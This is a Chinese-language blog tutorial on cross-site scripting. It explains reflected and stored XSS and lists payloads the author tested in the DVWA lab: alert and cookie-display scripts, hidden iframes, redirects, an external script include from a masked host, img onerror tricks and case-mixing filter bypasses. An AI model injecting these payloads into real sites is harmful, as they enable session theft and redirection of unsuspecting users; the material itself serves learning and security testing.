XSS簡介
跨站腳本(cross site script)爲了避免與樣式CSS混淆,所以簡稱xss。
xss是一種經常出現在web應用中的計算機安全漏洞,也是web中最主流的攻擊方式。
xss是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁面中去。使別的用戶訪問都會執行相應的嵌入代碼,從而盜取用戶資料,利用用戶身份進行某種動作,或者對訪問者進行病毒侵害的一種攻擊方式。
xss攻擊的危害包括:
1.盜取各類用戶賬號,如機器登陸賬號、用戶網銀賬號、各類管理員賬號
2.控制企業數據、包括讀取、篡改、添加。刪除企業敏感數據的能力。
3.非法轉賬,網站掛馬,強制發送電子郵件,控制受害者機器向
其他網站發起攻擊。
xss主要分類
反射型XSS(Reflected XSS ),又稱爲非持久性跨站點腳本攻擊,它是最常見類型的xss,漏洞產生的原因是攻擊者注入的數據反映在響應中。一個典型的非持久性xss包含一個帶xss攻擊向量的鏈接,(即每次攻擊需要用戶的點擊)。
存儲型XSS(Stored XSS)又稱爲持久型跨站點攻擊腳本,它一般發生在XSS攻擊向量(一般指XSS攻擊代碼)存儲在網站數據庫,當一個頁面被用戶打開的時候執行。每當用戶打開瀏覽器,腳本執行。持久型的XSS相比非持久型的XSS攻擊危害更大,因爲每當用戶打開頁面,查看內容時,腳本將自動執行。
構造XSS腳本
1.常用HTML標籤
2.常用JavaScript方法
3.構造XSS腳本
彈窗警告
此腳本實現彈框提示,一般作爲漏洞測試或者演示使用,類似SQL注入漏洞測試中的單引號,一旦此腳本能執行,也就意味着後端服務器沒有對特殊字符做過濾<> /
這樣就可以證明,這個頁面位置存在了XSS漏洞。我將代碼寫下來然後展示下在DVWA上的運行結果。
<script>alert('xss')</script>
<script>alert(document.cookie)</script>
第一個運行結果成功彈了個窗,上面寫着xss
第二個運行結果能把cookie給顯示出來
頁面嵌套
<iframe src=https://zxcv0221.github.io width=300 height=300></iframe>
<iframe src=https://zxcv0221.github.io width=0 height=0 border=0></iframe>
第一個運行結果,我是讓它跳到了我的GitHub博客去了。
第二個呢,emmmmmm,我設置嵌套的頁面大小是0,所以沒有什麼變化。
頁面重定向
<script>window.location="https://zxcv0221.github.io"</script>
<script>location.href="https://zxcv0221.github.io"</script>
第一個運行結果當然還是我的博客主頁,嘿嘿。
第二個與第一個運行結果相同。
彈窗警告並重定向
<script>alert("歡迎來到我的博客網站");location.href="https://zxcv0221.github.io"</script>
這個可以彈個窗並加載到我的博客頁面。
這裏我再點確定就會跳到我的博客。
訪問惡意代碼
<script src="http://*********/xss.js"></script>
別看了,這玩意兒我沒有,還看。。。。。。。。。。。。。。。。。。。。。。。。。
巧用圖片標籤
<img src="#" onerror=alert('xss')>/*與上面的<script>標籤相比有什麼優點可以體會一下。嘿嘿*/
<img src="javascript:alert('xss');">/*也可以彈窗*/
<img src="http://**********.***"></img>/*可以放你想引導到什麼網站,可以得到用戶cookie,至於放什麼照片,照片參數都可以自己設定。*/
繞開過濾的腳本
大小寫:<ScrIpT>alert('xss')</ScRipt>
字符編碼,採用URL、base64等編碼
<a href="javascript:alert("xss")">小彈窗</a>
第二個運行結果:一個超鏈接
這上面的都是反射型的xss。
存儲型的xss危害更大,其危險程度遠大於反射型xss。
OK,就說到這裏。
我溜………………